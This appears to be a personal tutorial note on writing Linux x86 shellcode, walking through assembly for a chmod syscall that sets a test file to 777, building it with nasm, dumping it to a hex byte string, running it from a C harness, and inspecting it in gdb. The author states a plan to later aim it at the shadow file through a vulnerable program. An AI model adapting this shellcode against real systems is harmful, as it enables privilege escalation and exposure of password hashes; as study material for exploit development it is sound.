This is just my documentation space on how to create shell code on a linux machine. The syscall that I have chosen for this project is chmod and "testfile" at its target.
This particular example will change the permission of the "testfile" to 777 in the same directory.
Part 2 of this exercise will probably change the permission on the shadow file using a vulnerable program. This should not be to difficult since I already have the asm code and just need to specify a file path and choose my vulnerable program.
Step 1 -
Ensure that you have nasm and g++ on your ubuntu build
$sudo apt-get install nasm
Step 2
Create an assembly program call ch_test.asm
$ touch ch_test.asm
$ gedit ch_test.asm
;ch_tests.asm ; File name of assembly program
[section .text]
global _start
_start: ; Initiate my global start and jump command
jmp short ender ; Jump to the ender place holder in code
starter: ; return from previous jump this helped store file location
xor ecx,ecx ; clear memory (zeroize)
xor ebx,ebx
xor eax,eax
pop ebx ; I popped this to ensure we
mov al, 15 ; reduce Null by using 8-bit this is chmod system call
mov ecx, 511 ; This is the octal rep for 777 on Linux
int 80h ; Execute
xor ebx, ebx ; Clear memory for ebx
mov eax, 1 ; Syscall for exit
int 80h ; Execute
ender: ;ender instruction location of my file
call starter
db 'testfile' ;test file name in the same directory
Step 3- test my nasm code.
$ nasm -f elf ch_test.asm #This will create an ch_test.o file
$ ld -o ch_test ch_test.o
$ strace ./ch_test
execve("./ch_test", ["./ch_test"], [/* 37 vars */]) = 0
chmod("testfile", 0777) = 0
_exit(0) = ?
execve("./ch_test", ["./ch_test"], [/* 37 vars */]) = 0
chmod("testfile", 0777) = 0
_exit(0) = ?
$ objdump -d ch_test # The following output will be displayed,
Disassembly of section .text:
08048060 <_start>:
8048060: eb 19 jmp 804807b
08048062
8048062: 31 c9 xor %ecx,%ecx
8048064: 31 db xor %ebx,%ebx
8048066: 31 c0 xor %eax,%eax
8048068: 5b pop %ebx
8048069: b0 0f mov $0xf,%al
804806b: b9 ff 01 00 00 mov $0x1ff,%ecx
8048070: cd 80 int $0x80
8048072: 31 db xor %ebx,%ebx
8048074: b8 01 00 00 00 mov $0x1,%eax
8048079: cd 80 int $0x80
0804807b
804807b: e8 e2 ff ff ff call 8048062
8048080: 74 65 je 80480e7
8048082: 73 74 jae 80480f8
8048084: 66 data16
8048085: 69 .byte 0x69
8048086: 6c insb (%dx),%es:(%edi)
8048087: 65 gs
Step 4- use the created nasm objdump information.
$ touch ch_test.c
$ gedit ch_test.c
# This values are obtained from the objdump form the asm .
const char code[]= "\xeb\x19\x31\xc9\x31\xdb\x31\xc0\x5b\xb0\x0f\xb9\xff\x01\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\xe8\xe2\xff\xff\xff\x74\x65\x73\x74\x66\x69\x6c\x65";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Then you want to compile the c program to make it executable.
$ g++ -g ch_test.c -o ch_test
Execute the program
$ strace ./ch_test
Perform some gdb on the binary to see the memory information.
$ gdb -q ./ch_test
(gdb) list
1
2 const char code[]= "\xeb\x19\x31\xc9\x31\xdb\x31\xc0\x5b\xb0\x0f\xb9\xff\x01\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\xe8\xe2\xff\xff\xff\x74\x65\x73\x74\x66\x69\x6c\x65";
3
4
5 int main(int argc, char **argv)
6 {
7 int (*func)();
8 func = (int (*)()) code;
9 (int)(*func)();
10 }
(gdb) disas main
Dump of assembler code for function main:
0x08048494 <+0>: push %ebp
0x08048495 <+1>: mov %esp,%ebp
0x08048497 <+3>: and $0xfffffff0,%esp
0x0804849a <+6>: sub $0x10,%esp
0x0804849d <+9>: movl $0x80485a0,0xc(%esp)
0x080484a5 <+17>: mov 0xc(%esp),%eax
0x080484a9 <+21>: call *%eax
0x080484ab <+23>: mov $0x0,%eax
0x080484b0 <+28>: leave
0x080484b1 <+29>: ret
End of assembler dump.
(gdb) break main
Breakpoint 1 at 0x804849d: file ch_test.c, line 8..
(gdb) run
Starting program: /home/t/coding/t_coding/ch_test
Breakpoint 1, main (argc=1, argv=0xbffff4f4) at ch_test.c:8
8 func = (int (*)()) code;
(gdb) info registers
eax (Accumulator) 0xbffff4f4 -1073744652
ecx (Counter) 0x758d8dac 1972211116
edx (Data) 0x1 1
ebx (Base Register) 0x283ff4 2637812
esp (Stack Pointer) 0xbffff430 0xbffff430
ebp (Base Pointer) 0xbffff448 0xbffff448
esi (Source Index) 0x0 0
edi (Destination Index) 0x0 0
eip (Current Instruction) 0x80483bd 0x80483bd
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) info registers eip or below
eip 0x804849d 0x804849d
(gdb) i r eip
eip 0x804849d 0x804849d
(gdb) x/o $eip # show in octal
0x80483bd : 01411042307
(gdb) x/x # show in hexadecimal
0x80483c1 : 0x08048490
(gdb) x/8xb # show the memory in 8 hexadecimal bytes
0x80483c5 : 0x8b 0x44 0x24 0x0c 0xff 0xd0 0xc9 0xc38
(gdb) x/8xh # half word 2bytes or x/8xw #word 4bytes or x/8xg 8bytes
0x80483cd: 0x9090 0x5590 0xe589 0xc35d 0x748d 0x0026 0xbc8d 0x0027
Notes about – dump and gdb
The first three lines have to do with stack preperation -
The lines that need to be analyzed are movl and mov -
info registers – displays the contents of integer registers -
Help info will give you some additional commands in gdb
EAX, EBX, ECX, and EDX 32 Bit
AH, BH, CH and DH 16 Bit
AL, BL, CL, and DL 8 Bit